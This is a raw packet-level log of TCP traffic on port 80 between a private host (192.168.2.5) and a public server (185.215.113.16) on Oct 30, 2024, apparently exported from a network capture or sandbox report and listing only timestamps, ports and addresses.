Oct 30, 2024 00:20:18.211276054 CET	80	49712	185.215.113.16	192.168.2.5
Oct 30, 2024 00:20:18.211309910 CET	49712	80	192.168.2.5	185.215.113.16
Oct 30, 2024 00:20:18.211309910 CET	80	49712	185.215.113.16	192.168.2.5
Oct 30, 2024 00:20:18.211366892 CET	80	49712	185.215.113.16	192.168.2.5
Oct 30, 2024 00:20:18.211394072 CET	49712	80	192.168.2.5	185.215.113.16
Oct 30, 2024 00:20:18.211420059 CET	80	49712	185.215.113.16	192.168.2.5
Oct 30, 2024 00:20:18.211453915 CET	80	49712	185.215.113.16	192.168.2.5
Oct 30, 2024 00:20:18.211483002 CET	49712	80	192.168.2.5	185.215.113.16
Oct 30, 2024 00:20:18.211488962 CET	80	49712	185.215.113.16	192.168.2.5
Oct 30, 2024 00:20:18.211522102 CET	80	49712	185.215.113.16	192.168.2.5
Oct 30, 2024 00:20:18.211550951 CET	49712	80	192.168.2.5	185.215.113.16
Oct 30, 2024 00:20:18.211575985 CET	80	49712	185.215.113.16	192.168.2.5
Oct 30, 2024 00:20:18.211611032 CET	80	49712	185.215.113.16	192.168.2.5
Oct 30, 2024 00:20:18.211638927 CET	49712	80	192.168.2.5	185.215.113.16
Oct 30, 2024 00:20:18.211644888 CET	80	49712	185.215.113.16	192.168.2.5
Oct 30, 2024 00:20:18.211699009 CET	80	49712	185.215.113.16	192.168.2.5
Oct 30, 2024 00:20:18.211731911 CET	80	49712	185.215.113.16	192.168.2.5
Oct 30, 2024 00:20:18.211761951 CET	49712	80	192.168.2.5	185.215.113.16
Oct 30, 2024 00:20:18.211766958 CET	80	49712	185.215.113.16	192.168.2.5
Oct 30, 2024 00:20:18.211817026 CET	49712	80	192.168.2.5	185.215.113.16
Oct 30, 2024 00:20:18.211819887 CET	80	49712	185.215.113.16	192.168.2.5
Oct 30, 2024 00:20:18.211853981 CET	80	49712	185.215.113.16	192.168.2.5
Oct 30, 2024 00:20:18.211905003 CET	80	49712	185.215.113.16	192.168.2.5
Oct 30, 2024 00:20:18.211935043 CET	49712	80	192.168.2.5	185.215.113.16
Oct 30, 2024 00:20:18.211940050 CET	80	49712	185.215.113.16	192.168.2.5
Oct 30, 2024 00:20:18.211973906 CET	80	49712	185.215.113.16	192.168.2.5
Oct 30, 2024 00:20:18.212003946 CET	49712	80	192.168.2.5	185.215.113.16
Oct 30, 2024 00:20:18.212009907 CET	80	49712	185.215.113.16	192.168.2.5
Oct 30, 2024 00:20:18.212039948 CET	49712	80	192.168.2.5	185.215.113.16
Oct 30, 2024 00:20:18.212063074 CET	80	49712	185.215.113.16	192.168.2.5
Oct 30, 2024 00:20:18.212100983 CET	80	49712	185.215.113.16	192.168.2.5
Oct 30, 2024 00:20:18.212131023 CET	49712	80	192.168.2.5	185.215.113.16
Oct 30, 2024 00:20:18.212133884 CET	80	49712	185.215.113.16	192.168.2.5
Oct 30, 2024 00:20:18.212168932 CET	80	49712	185.215.113.16	192.168.2.5
Oct 30, 2024 00:20:18.212202072 CET	80	49712	185.215.113.16	192.168.2.5
Oct 30, 2024 00:20:18.212233067 CET	49712	80	192.168.2.5	185.215.113.16
Oct 30, 2024 00:20:18.212255001 CET	80	49712	185.215.113.16	192.168.2.5
Oct 30, 2024 00:20:18.212289095 CET	80	49712	185.215.113.16	192.168.2.5
Oct 30, 2024 00:20:18.212316990 CET	49712	80	192.168.2.5	185.215.113.16
Oct 30, 2024 00:20:18.212322950 CET	80	49712	185.215.113.16	192.168.2.5
Oct 30, 2024 00:20:18.212353945 CET	49712	80	192.168.2.5	185.215.113.16
Oct 30, 2024 00:20:18.212358952 CET	80	49712	185.215.113.16	192.168.2.5
Oct 30, 2024 00:20:18.212392092 CET	80	49712	185.215.113.16	192.168.2.5
Oct 30, 2024 00:20:18.212425947 CET	49712	80	192.168.2.5	185.215.113.16
Oct 30, 2024 00:20:18.212447882 CET	80	49712	185.215.113.16	192.168.2.5
Oct 30, 2024 00:20:18.212481976 CET	80	49712	185.215.113.16	192.168.2.5
Oct 30, 2024 00:20:18.212512970 CET	49712	80	192.168.2.5	185.215.113.16
Oct 30, 2024 00:20:18.212517023 CET	80	49712	185.215.113.16	192.168.2.5
Oct 30, 2024 00:20:18.212569952 CET	80	49712	185.215.113.16	192.168.2.5
Oct 30, 2024 00:20:18.212590933 CET	49712	80	192.168.2.5	185.215.113.16
Oct 30, 2024 00:20:18.212604046 CET	80	49712	185.215.113.16	192.168.2.5
Oct 30, 2024 00:20:18.212637901 CET	80	49712	185.215.113.16	192.168.2.5
Oct 30, 2024 00:20:18.212671995 CET	80	49712	185.215.113.16	192.168.2.5
Oct 30, 2024 00:20:18.212708950 CET	80	49712	185.215.113.16	192.168.2.5
Oct 30, 2024 00:20:18.212732077 CET	49712	80	192.168.2.5	185.215.113.16
Oct 30, 2024 00:20:18.212743998 CET	80	49712	185.215.113.16	192.168.2.5
Oct 30, 2024 00:20:18.212778091 CET	80	49712	185.215.113.16	192.168.2.5
Oct 30, 2024 00:20:18.212806940 CET	49712	80	192.168.2.5	185.215.113.16
Oct 30, 2024 00:20:18.212811947 CET	80	49712	185.215.113.16	192.168.2.5
Oct 30, 2024 00:20:18.212863922 CET	80	49712	185.215.113.16	192.168.2.5
Oct 30, 2024 00:20:18.212894917 CET	49712	80	192.168.2.5	185.215.113.16
Oct 30, 2024 00:20:18.212898970 CET	80	49712	185.215.113.16	192.168.2.5
Oct 30, 2024 00:20:18.212934017 CET	80	49712	185.215.113.16	192.168.2.5
Oct 30, 2024 00:20:18.212968111 CET	80	49712	185.215.113.16	192.168.2.5
Oct 30, 2024 00:20:18.213020086 CET	80	49712	185.215.113.16	192.168.2.5
Oct 30, 2024 00:20:18.213054895 CET	80	49712	185.215.113.16	192.168.2.5
Oct 30, 2024 00:20:18.213056087 CET	49712	80	192.168.2.5	185.215.113.16
Oct 30, 2024 00:20:18.213094950 CET	80	49712	185.215.113.16	192.168.2.5
Oct 30, 2024 00:20:18.213145971 CET	80	49712	185.215.113.16	192.168.2.5
Oct 30, 2024 00:20:18.213175058 CET	49712	80	192.168.2.5	185.215.113.16
Oct 30, 2024 00:20:18.213181019 CET	80	49712	185.215.113.16	192.168.2.5
Oct 30, 2024 00:20:18.213211060 CET	49712	80	192.168.2.5	185.215.113.16
Oct 30, 2024 00:20:18.213213921 CET	80	49712	185.215.113.16	192.168.2.5
Oct 30, 2024 00:20:18.213268042 CET	80	49712	185.215.113.16	192.168.2.5
Oct 30, 2024 00:20:18.213320971 CET	80	49712	185.215.113.16	192.168.2.5
Oct 30, 2024 00:20:18.213351011 CET	49712	80	192.168.2.5	185.215.113.16
Oct 30, 2024 00:20:18.213355064 CET	80	49712	185.215.113.16	192.168.2.5
Oct 30, 2024 00:20:18.213396072 CET	80	49712	185.215.113.16	192.168.2.5
Oct 30, 2024 00:20:18.213422060 CET	49712	80	192.168.2.5	185.215.113.16
Oct 30, 2024 00:20:18.213429928 CET	80	49712	185.215.113.16	192.168.2.5
Oct 30, 2024 00:20:18.213464022 CET	80	49712	185.215.113.16	192.168.2.5
Oct 30, 2024 00:20:18.213500023 CET	80	49712	185.215.113.16	192.168.2.5
Oct 30, 2024 00:20:18.213530064 CET	49712	80	192.168.2.5	185.215.113.16
Oct 30, 2024 00:20:18.213534117 CET	80	49712	185.215.113.16	192.168.2.5
Oct 30, 2024 00:20:18.213567972 CET	80	49712	185.215.113.16	192.168.2.5
Oct 30, 2024 00:20:18.213597059 CET	49712	80	192.168.2.5	185.215.113.16
Oct 30, 2024 00:20:18.213602066 CET	80	49712	185.215.113.16	192.168.2.5
Oct 30, 2024 00:20:18.213637114 CET	80	49712	185.215.113.16	192.168.2.5
Oct 30, 2024 00:20:18.213670969 CET	80	49712	185.215.113.16	192.168.2.5
Oct 30, 2024 00:20:18.213705063 CET	80	49712	185.215.113.16	192.168.2.5
Oct 30, 2024 00:20:18.213733912 CET	49712	80	192.168.2.5	185.215.113.16
Oct 30, 2024 00:20:18.213738918 CET	80	49712	185.215.113.16	192.168.2.5
Oct 30, 2024 00:20:18.213772058 CET	80	49712	185.215.113.16	192.168.2.5
Oct 30, 2024 00:20:18.213800907 CET	49712	80	192.168.2.5	185.215.113.16
Oct 30, 2024 00:20:18.213807106 CET	80	49712	185.215.113.16	192.168.2.5
Oct 30, 2024 00:20:18.213844061 CET	80	49712	185.215.113.16	192.168.2.5
Oct 30, 2024 00:20:18.213874102 CET	49712	80	192.168.2.5	185.215.113.16
Oct 30, 2024 00:20:18.213876963 CET	80	49712	185.215.113.16	192.168.2.5
Oct 30, 2024 00:20:18.213912010 CET	80	49712	185.215.113.16	192.168.2.5
Oct 30, 2024 00:20:18.213946104 CET	80	49712	185.215.113.16	192.168.2.5
Oct 30, 2024 00:20:18.213979959 CET	80	49712	185.215.113.16	192.168.2.5
Oct 30, 2024 00:20:18.214010000 CET	49712	80	192.168.2.5	185.215.113.16
Oct 30, 2024 00:20:18.214015007 CET	80	49712	185.215.113.16	192.168.2.5
Oct 30, 2024 00:20:18.214049101 CET	80	49712	185.215.113.16	192.168.2.5
Oct 30, 2024 00:20:18.214078903 CET	49712	80	192.168.2.5	185.215.113.16
Oct 30, 2024 00:20:18.214083910 CET	80	49712	185.215.113.16	192.168.2.5
Oct 30, 2024 00:20:18.214118958 CET	80	49712	185.215.113.16	192.168.2.5
Oct 30, 2024 00:20:18.214147091 CET	49712	80	192.168.2.5	185.215.113.16
Oct 30, 2024 00:20:18.214153051 CET	80	49712	185.215.113.16	192.168.2.5
Oct 30, 2024 00:20:18.214188099 CET	80	49712	185.215.113.16	192.168.2.5
Oct 30, 2024 00:20:18.214220047 CET	49712	80	192.168.2.5	185.215.113.16
Oct 30, 2024 00:20:18.214221001 CET	80	49712	185.215.113.16	192.168.2.5
Oct 30, 2024 00:20:18.214257956 CET	80	49712	185.215.113.16	192.168.2.5
Oct 30, 2024 00:20:18.214292049 CET	80	49712	185.215.113.16	192.168.2.5
Oct 30, 2024 00:20:18.214325905 CET	80	49712	185.215.113.16	192.168.2.5
Oct 30, 2024 00:20:18.214354992 CET	49712	80	192.168.2.5	185.215.113.16
Oct 30, 2024 00:20:18.214359999 CET	80	49712	185.215.113.16	192.168.2.5
Oct 30, 2024 00:20:18.214395046 CET	80	49712	185.215.113.16	192.168.2.5
Oct 30, 2024 00:20:18.214406013 CET	49712	80	192.168.2.5	185.215.113.16
Oct 30, 2024 00:20:18.214428902 CET	80	49712	185.215.113.16	192.168.2.5
Oct 30, 2024 00:20:18.214462996 CET	80	49712	185.215.113.16	192.168.2.5
Oct 30, 2024 00:20:18.214497089 CET	80	49712	185.215.113.16	192.168.2.5
Oct 30, 2024 00:20:18.214521885 CET	49712	80	192.168.2.5	185.215.113.16
Oct 30, 2024 00:20:18.214530945 CET	80	49712	185.215.113.16	192.168.2.5
Oct 30, 2024 00:20:18.214564085 CET	80	49712	185.215.113.16	192.168.2.5
Oct 30, 2024 00:20:18.214593887 CET	49712	80	192.168.2.5	185.215.113.16
Oct 30, 2024 00:20:18.214597940 CET	80	49712	185.215.113.16	192.168.2.5
Oct 30, 2024 00:20:18.214627981 CET	49712	80	192.168.2.5	185.215.113.16
Oct 30, 2024 00:20:18.214632988 CET	80	49712	185.215.113.16	192.168.2.5
Oct 30, 2024 00:20:18.214668989 CET	80	49712	185.215.113.16	192.168.2.5
Oct 30, 2024 00:20:18.214703083 CET	80	49712	185.215.113.16	192.168.2.5
Oct 30, 2024 00:20:18.214731932 CET	49712	80	192.168.2.5	185.215.113.16
Oct 30, 2024 00:20:18.214737892 CET	80	49712	185.215.113.16	192.168.2.5
Oct 30, 2024 00:20:18.214771986 CET	80	49712	185.215.113.16	192.168.2.5
Oct 30, 2024 00:20:18.214797020 CET	49712	80	192.168.2.5	185.215.113.16
Oct 30, 2024 00:20:18.214806080 CET	80	49712	185.215.113.16	192.168.2.5
Oct 30, 2024 00:20:18.214839935 CET	80	49712	185.215.113.16	192.168.2.5
Oct 30, 2024 00:20:18.214869022 CET	49712	80	192.168.2.5	185.215.113.16
Oct 30, 2024 00:20:18.214874983 CET	80	49712	185.215.113.16	192.168.2.5
Oct 30, 2024 00:20:18.214904070 CET	49712	80	192.168.2.5	185.215.113.16
Oct 30, 2024 00:20:18.214909077 CET	80	49712	185.215.113.16	192.168.2.5
Oct 30, 2024 00:20:18.214942932 CET	80	49712	185.215.113.16	192.168.2.5
Oct 30, 2024 00:20:18.214968920 CET	49712	80	192.168.2.5	185.215.113.16
Oct 30, 2024 00:20:18.214977026 CET	80	49712	185.215.113.16	192.168.2.5
Oct 30, 2024 00:20:18.215014935 CET	80	49712	185.215.113.16	192.168.2.5
Oct 30, 2024 00:20:18.215044975 CET	49712	80	192.168.2.5	185.215.113.16
Oct 30, 2024 00:20:18.215049028 CET	80	49712	185.215.113.16	192.168.2.5
Oct 30, 2024 00:20:18.215084076 CET	80	49712	185.215.113.16	192.168.2.5
Oct 30, 2024 00:20:18.215090036 CET	49712	80	192.168.2.5	185.215.113.16
Oct 30, 2024 00:20:18.215117931 CET	80	49712	185.215.113.16	192.168.2.5
Oct 30, 2024 00:20:18.215151072 CET	80	49712	185.215.113.16	192.168.2.5
Oct 30, 2024 00:20:18.215177059 CET	49712	80	192.168.2.5	185.215.113.16
Oct 30, 2024 00:20:18.215184927 CET	80	49712	185.215.113.16	192.168.2.5
Oct 30, 2024 00:20:18.215219021 CET	80	49712	185.215.113.16	192.168.2.5
Oct 30, 2024 00:20:18.215250015 CET	49712	80	192.168.2.5	185.215.113.16
Oct 30, 2024 00:20:18.215254068 CET	80	49712	185.215.113.16	192.168.2.5
Oct 30, 2024 00:20:18.215286970 CET	80	49712	185.215.113.16	192.168.2.5
Oct 30, 2024 00:20:18.215325117 CET	49712	80	192.168.2.5	185.215.113.16
Oct 30, 2024 00:20:18.215339899 CET	80	49712	185.215.113.16	192.168.2.5
Oct 30, 2024 00:20:18.215374947 CET	80	49712	185.215.113.16	192.168.2.5
Oct 30, 2024 00:20:18.215404987 CET	49712	80	192.168.2.5	185.215.113.16
Oct 30, 2024 00:20:18.215408087 CET	80	49712	185.215.113.16	192.168.2.5
Oct 30, 2024 00:20:18.215442896 CET	80	49712	185.215.113.16	192.168.2.5
Oct 30, 2024 00:20:18.215471983 CET	49712	80	192.168.2.5	185.215.113.16
Oct 30, 2024 00:20:18.215476990 CET	80	49712	185.215.113.16	192.168.2.5
Oct 30, 2024 00:20:18.215512037 CET	80	49712	185.215.113.16	192.168.2.5
Oct 30, 2024 00:20:18.215545893 CET	80	49712	185.215.113.16	192.168.2.5
Oct 30, 2024 00:20:18.215575933 CET	49712	80	192.168.2.5	185.215.113.16
Oct 30, 2024 00:20:18.215579987 CET	80	49712	185.215.113.16	192.168.2.5
Oct 30, 2024 00:20:18.215610027 CET	49712	80	192.168.2.5	185.215.113.16
Oct 30, 2024 00:20:18.215615034 CET	80	49712	185.215.113.16	192.168.2.5
Oct 30, 2024 00:20:18.215651989 CET	80	49712	185.215.113.16	192.168.2.5
Oct 30, 2024 00:20:18.215671062 CET	49712	80	192.168.2.5	185.215.113.16
Oct 30, 2024 00:20:18.215686083 CET	80	49712	185.215.113.16	192.168.2.5
Oct 30, 2024 00:20:18.215720892 CET	80	49712	185.215.113.16	192.168.2.5
Oct 30, 2024 00:20:18.215756893 CET	80	49712	185.215.113.16	192.168.2.5
Oct 30, 2024 00:20:18.215785980 CET	49712	80	192.168.2.5	185.215.113.16
Oct 30, 2024 00:20:18.215790987 CET	80	49712	185.215.113.16	192.168.2.5
Oct 30, 2024 00:20:18.215823889 CET	80	49712	185.215.113.16	192.168.2.5
Oct 30, 2024 00:20:18.215846062 CET	49712	80	192.168.2.5	185.215.113.16
Oct 30, 2024 00:20:18.215857983 CET	80	49712	185.215.113.16	192.168.2.5
Oct 30, 2024 00:20:18.215883970 CET	49712	80	192.168.2.5	185.215.113.16
Oct 30, 2024 00:20:18.215892076 CET	80	49712	185.215.113.16	192.168.2.5
Oct 30, 2024 00:20:18.215925932 CET	80	49712	185.215.113.16	192.168.2.5
Oct 30, 2024 00:20:18.215960026 CET	80	49712	185.215.113.16	192.168.2.5
Oct 30, 2024 00:20:18.215980053 CET	49712	80	192.168.2.5	185.215.113.16
Oct 30, 2024 00:20:18.215993881 CET	80	49712	185.215.113.16	192.168.2.5
Oct 30, 2024 00:20:18.216023922 CET	49712	80	192.168.2.5	185.215.113.16
Oct 30, 2024 00:20:18.216027021 CET	80	49712	185.215.113.16	192.168.2.5
Oct 30, 2024 00:20:18.216063023 CET	80	49712	185.215.113.16	192.168.2.5
Oct 30, 2024 00:20:18.216098070 CET	80	49712	185.215.113.16	192.168.2.5
Oct 30, 2024 00:20:18.216126919 CET	49712	80	192.168.2.5	185.215.113.16
Oct 30, 2024 00:20:18.216131926 CET	80	49712	185.215.113.16	192.168.2.5
Oct 30, 2024 00:20:18.216166019 CET	80	49712	185.215.113.16	192.168.2.5
Oct 30, 2024 00:20:18.216190100 CET	49712	80	192.168.2.5	185.215.113.16
Oct 30, 2024 00:20:18.216200113 CET	80	49712	185.215.113.16	192.168.2.5
Oct 30, 2024 00:20:18.216228008 CET	49712	80	192.168.2.5	185.215.113.16
Oct 30, 2024 00:20:18.216234922 CET	80	49712	185.215.113.16	192.168.2.5
Oct 30, 2024 00:20:18.216269016 CET	80	49712	185.215.113.16	192.168.2.5
Oct 30, 2024 00:20:18.216296911 CET	49712	80	192.168.2.5	185.215.113.16
Oct 30, 2024 00:20:18.216304064 CET	80	49712	185.215.113.16	192.168.2.5
Oct 30, 2024 00:20:18.216336966 CET	80	49712	185.215.113.16	192.168.2.5
Oct 30, 2024 00:20:18.216367960 CET	49712	80	192.168.2.5	185.215.113.16
Oct 30, 2024 00:20:18.216371059 CET	80	49712	185.215.113.16	192.168.2.5
Oct 30, 2024 00:20:18.216406107 CET	80	49712	185.215.113.16	192.168.2.5
Oct 30, 2024 00:20:18.216444969 CET	80	49712	185.215.113.16	192.168.2.5
Oct 30, 2024 00:20:18.216480017 CET	80	49712	185.215.113.16	192.168.2.5
Oct 30, 2024 00:20:18.216509104 CET	49712	80	192.168.2.5	185.215.113.16
Oct 30, 2024 00:20:18.216514111 CET	80	49712	185.215.113.16	192.168.2.5
Oct 30, 2024 00:20:18.216547966 CET	80	49712	185.215.113.16	192.168.2.5
Oct 30, 2024 00:20:18.216578007 CET	49712	80	192.168.2.5	185.215.113.16
Oct 30, 2024 00:20:18.216583014 CET	80	49712	185.215.113.16	192.168.2.5
Oct 30, 2024 00:20:18.216617107 CET	80	49712	185.215.113.16	192.168.2.5
Oct 30, 2024 00:20:18.216645002 CET	49712	80	192.168.2.5	185.215.113.16
Oct 30, 2024 00:20:18.216654062 CET	80	49712	185.215.113.16	192.168.2.5
Oct 30, 2024 00:20:18.216687918 CET	80	49712	185.215.113.16	192.168.2.5
Oct 30, 2024 00:20:18.216722012 CET	80	49712	185.215.113.16	192.168.2.5
Oct 30, 2024 00:20:18.216756105 CET	80	49712	185.215.113.16	192.168.2.5
Oct 30, 2024 00:20:18.216784954 CET	49712	80	192.168.2.5	185.215.113.16
Oct 30, 2024 00:20:18.216789961 CET	80	49712	185.215.113.16	192.168.2.5
Oct 30, 2024 00:20:18.216824055 CET	80	49712	185.215.113.16	192.168.2.5
Oct 30, 2024 00:20:18.216857910 CET	80	49712	185.215.113.16	192.168.2.5
Oct 30, 2024 00:20:18.216887951 CET	49712	80	192.168.2.5	185.215.113.16
Oct 30, 2024 00:20:18.216892004 CET	80	49712	185.215.113.16	192.168.2.5
Oct 30, 2024 00:20:18.216927052 CET	80	49712	185.215.113.16	192.168.2.5
Oct 30, 2024 00:20:18.216937065 CET	49712	80	192.168.2.5	185.215.113.16
Oct 30, 2024 00:20:18.216975927 CET	80	49712	185.215.113.16	192.168.2.5
Oct 30, 2024 00:20:18.217004061 CET	49712	80	192.168.2.5	185.215.113.16
Oct 30, 2024 00:20:18.217010975 CET	80	49712	185.215.113.16	192.168.2.5
Oct 30, 2024 00:20:18.217045069 CET	80	49712	185.215.113.16	192.168.2.5
Oct 30, 2024 00:20:18.217081070 CET	80	49712	185.215.113.16	192.168.2.5
Oct 30, 2024 00:20:18.217111111 CET	49712	80	192.168.2.5	185.215.113.16
Oct 30, 2024 00:20:18.217117071 CET	80	49712	185.215.113.16	192.168.2.5
Oct 30, 2024 00:20:18.217153072 CET	80	49712	185.215.113.16	192.168.2.5
Oct 30, 2024 00:20:18.217181921 CET	49712	80	192.168.2.5	185.215.113.16
Oct 30, 2024 00:20:18.217187881 CET	80	49712	185.215.113.16	192.168.2.5
Oct 30, 2024 00:20:18.217222929 CET	80	49712	185.215.113.16	192.168.2.5
Oct 30, 2024 00:20:18.217252016 CET	49712	80	192.168.2.5	185.215.113.16
Oct 30, 2024 00:20:18.217257977 CET	80	49712	185.215.113.16	192.168.2.5
Oct 30, 2024 00:20:18.217288017 CET	49712	80	192.168.2.5	185.215.113.16
Oct 30, 2024 00:20:18.217292070 CET	80	49712	185.215.113.16	192.168.2.5
Oct 30, 2024 00:20:18.217327118 CET	80	49712	185.215.113.16	192.168.2.5
Oct 30, 2024 00:20:18.217346907 CET	49712	80	192.168.2.5	185.215.113.16
Oct 30, 2024 00:20:18.217361927 CET	80	49712	185.215.113.16	192.168.2.5
Oct 30, 2024 00:20:18.217396975 CET	80	49712	185.215.113.16	192.168.2.5
Oct 30, 2024 00:20:18.217432022 CET	80	49712	185.215.113.16	192.168.2.5
Oct 30, 2024 00:20:18.217472076 CET	80	49712	185.215.113.16	192.168.2.5
Oct 30, 2024 00:20:18.217495918 CET	49712	80	192.168.2.5	185.215.113.16
Oct 30, 2024 00:20:18.217504978 CET	80	49712	185.215.113.16	192.168.2.5
Oct 30, 2024 00:20:18.217540026 CET	80	49712	185.215.113.16	192.168.2.5
Oct 30, 2024 00:20:18.217571020 CET	49712	80	192.168.2.5	185.215.113.16
Oct 30, 2024 00:20:18.217573881 CET	80	49712	185.215.113.16	192.168.2.5
Oct 30, 2024 00:20:18.217608929 CET	80	49712	185.215.113.16	192.168.2.5
Oct 30, 2024 00:20:18.217643023 CET	80	49712	185.215.113.16	192.168.2.5
Oct 30, 2024 00:20:18.217677116 CET	80	49712	185.215.113.16	192.168.2.5
Oct 30, 2024 00:20:18.217710972 CET	49712	80	192.168.2.5	185.215.113.16
Oct 30, 2024 00:20:18.217710018 CET	80	49712	185.215.113.16	192.168.2.5
Oct 30, 2024 00:20:18.217746973 CET	80	49712	185.215.113.16	192.168.2.5
Oct 30, 2024 00:20:18.217777014 CET	49712	80	192.168.2.5	185.215.113.16
Oct 30, 2024 00:20:18.217781067 CET	80	49712	185.215.113.16	192.168.2.5
Oct 30, 2024 00:20:18.217814922 CET	80	49712	185.215.113.16	192.168.2.5
Oct 30, 2024 00:20:18.217845917 CET	49712	80	192.168.2.5	185.215.113.16
Oct 30, 2024 00:20:18.217849970 CET	80	49712	185.215.113.16	192.168.2.5
Oct 30, 2024 00:20:18.217885971 CET	80	49712	185.215.113.16	192.168.2.5
Oct 30, 2024 00:20:18.217905998 CET	49712	80	192.168.2.5	185.215.113.16
Oct 30, 2024 00:20:18.217920065 CET	80	49712	185.215.113.16	192.168.2.5
Oct 30, 2024 00:20:18.217953920 CET	80	49712	185.215.113.16	192.168.2.5
Oct 30, 2024 00:20:18.217988014 CET	80	49712	185.215.113.16	192.168.2.5
Oct 30, 2024 00:20:18.218014002 CET	49712	80	192.168.2.5	185.215.113.16
Oct 30, 2024 00:20:18.218020916 CET	80	49712	185.215.113.16	192.168.2.5
Oct 30, 2024 00:20:18.218051910 CET	49712	80	192.168.2.5	185.215.113.16
Oct 30, 2024 00:20:18.218055964 CET	80	49712	185.215.113.16	192.168.2.5
Oct 30, 2024 00:20:18.218091011 CET	80	49712	185.215.113.16	192.168.2.5
Oct 30, 2024 00:20:18.218122959 CET	49712	80	192.168.2.5	185.215.113.16
Oct 30, 2024 00:20:18.218125105 CET	80	49712	185.215.113.16	192.168.2.5
Oct 30, 2024 00:20:18.218158960 CET	80	49712	185.215.113.16	192.168.2.5
Oct 30, 2024 00:20:18.218192101 CET	80	49712	185.215.113.16	192.168.2.5
Oct 30, 2024 00:20:18.218220949 CET	49712	80	192.168.2.5	185.215.113.16
Oct 30, 2024 00:20:18.218226910 CET	80	49712	185.215.113.16	192.168.2.5
Oct 30, 2024 00:20:18.218261003 CET	80	49712	185.215.113.16	192.168.2.5
Oct 30, 2024 00:20:18.218288898 CET	49712	80	192.168.2.5	185.215.113.16
Oct 30, 2024 00:20:18.218297005 CET	80	49712	185.215.113.16	192.168.2.5
Oct 30, 2024 00:20:18.218327999 CET	49712	80	192.168.2.5	185.215.113.16
Oct 30, 2024 00:20:18.218332052 CET	80	49712	185.215.113.16	192.168.2.5
Oct 30, 2024 00:20:18.218365908 CET	80	49712	185.215.113.16	192.168.2.5
Oct 30, 2024 00:20:18.218395948 CET	49712	80	192.168.2.5	185.215.113.16
Oct 30, 2024 00:20:18.218399048 CET	80	49712	185.215.113.16	192.168.2.5
Oct 30, 2024 00:20:18.218432903 CET	80	49712	185.215.113.16	192.168.2.5
Oct 30, 2024 00:20:18.218466997 CET	80	49712	185.215.113.16	192.168.2.5
Oct 30, 2024 00:20:18.218501091 CET	80	49712	185.215.113.16	192.168.2.5
Oct 30, 2024 00:20:18.218530893 CET	49712	80	192.168.2.5	185.215.113.16
Oct 30, 2024 00:20:18.218534946 CET	80	49712	185.215.113.16	192.168.2.5
Oct 30, 2024 00:20:18.218569040 CET	80	49712	185.215.113.16	192.168.2.5
Oct 30, 2024 00:20:18.218602896 CET	80	49712	185.215.113.16	192.168.2.5
Oct 30, 2024 00:20:18.218637943 CET	80	49712	185.215.113.16	192.168.2.5
Oct 30, 2024 00:20:18.218668938 CET	49712	80	192.168.2.5	185.215.113.16
Oct 30, 2024 00:20:18.218672037 CET	80	49712	185.215.113.16	192.168.2.5
Oct 30, 2024 00:20:18.218707085 CET	80	49712	185.215.113.16	192.168.2.5
Oct 30, 2024 00:20:18.218740940 CET	80	49712	185.215.113.16	192.168.2.5
Oct 30, 2024 00:20:18.218775988 CET	80	49712	185.215.113.16	192.168.2.5
Oct 30, 2024 00:20:18.218805075 CET	49712	80	192.168.2.5	185.215.113.16
Oct 30, 2024 00:20:18.218808889 CET	80	49712	185.215.113.16	192.168.2.5
Oct 30, 2024 00:20:18.218842983 CET	80	49712	185.215.113.16	192.168.2.5
Oct 30, 2024 00:20:18.218871117 CET	49712	80	192.168.2.5	185.215.113.16
Oct 30, 2024 00:20:18.218877077 CET	80	49712	185.215.113.16	192.168.2.5
Oct 30, 2024 00:20:18.218911886 CET	80	49712	185.215.113.16	192.168.2.5
Oct 30, 2024 00:20:18.218940020 CET	49712	80	192.168.2.5	185.215.113.16
Oct 30, 2024 00:20:18.218945980 CET	80	49712	185.215.113.16	192.168.2.5
Oct 30, 2024 00:20:18.218980074 CET	80	49712	185.215.113.16	192.168.2.5
Oct 30, 2024 00:20:18.219012976 CET	80	49712	185.215.113.16	192.168.2.5
Oct 30, 2024 00:20:18.219047070 CET	80	49712	185.215.113.16	192.168.2.5
Oct 30, 2024 00:20:18.219078064 CET	49712	80	192.168.2.5	185.215.113.16
Oct 30, 2024 00:20:18.219080925 CET	80	49712	185.215.113.16	192.168.2.5
Oct 30, 2024 00:20:18.219115973 CET	80	49712	185.215.113.16	192.168.2.5
Oct 30, 2024 00:20:18.219149113 CET	80	49712	185.215.113.16	192.168.2.5
Oct 30, 2024 00:20:18.219177008 CET	49712	80	192.168.2.5	185.215.113.16
Oct 30, 2024 00:20:18.219183922 CET	80	49712	185.215.113.16	192.168.2.5
Oct 30, 2024 00:20:18.219218016 CET	80	49712	185.215.113.16	192.168.2.5
Oct 30, 2024 00:20:18.219249964 CET	49712	80	192.168.2.5	185.215.113.16
Oct 30, 2024 00:20:18.219255924 CET	80	49712	185.215.113.16	192.168.2.5
Oct 30, 2024 00:20:18.219285011 CET	49712	80	192.168.2.5	185.215.113.16
Oct 30, 2024 00:20:18.219290018 CET	80	49712	185.215.113.16	192.168.2.5
Oct 30, 2024 00:20:18.219343901 CET	80	49712	185.215.113.16	192.168.2.5
Oct 30, 2024 00:20:18.219377041 CET	80	49712	185.215.113.16	192.168.2.5
Oct 30, 2024 00:20:18.219407082 CET	49712	80	192.168.2.5	185.215.113.16
Oct 30, 2024 00:20:18.219409943 CET	80	49712	185.215.113.16	192.168.2.5
Oct 30, 2024 00:20:18.219444036 CET	80	49712	185.215.113.16	192.168.2.5
Oct 30, 2024 00:20:18.219474077 CET	49712	80	192.168.2.5	185.215.113.16
Oct 30, 2024 00:20:18.219476938 CET	80	49712	185.215.113.16	192.168.2.5
Oct 30, 2024 00:20:18.219511986 CET	80	49712	185.215.113.16	192.168.2.5
Oct 30, 2024 00:20:18.219537973 CET	49712	80	192.168.2.5	185.215.113.16
Oct 30, 2024 00:20:18.219547033 CET	80	49712	185.215.113.16	192.168.2.5
Oct 30, 2024 00:20:18.219575882 CET	49712	80	192.168.2.5	185.215.113.16
Oct 30, 2024 00:20:18.219580889 CET	80	49712	185.215.113.16	192.168.2.5
Oct 30, 2024 00:20:18.219614983 CET	80	49712	185.215.113.16	192.168.2.5
Oct 30, 2024 00:20:18.219641924 CET	49712	80	192.168.2.5	185.215.113.16
Oct 30, 2024 00:20:18.219647884 CET	80	49712	185.215.113.16	192.168.2.5
Oct 30, 2024 00:20:18.219682932 CET	80	49712	185.215.113.16	192.168.2.5
Oct 30, 2024 00:20:18.220397949 CET	49712	80	192.168.2.5	185.215.113.16
Oct 30, 2024 00:20:18.276127100 CET	49712	80	192.168.2.5	185.215.113.16
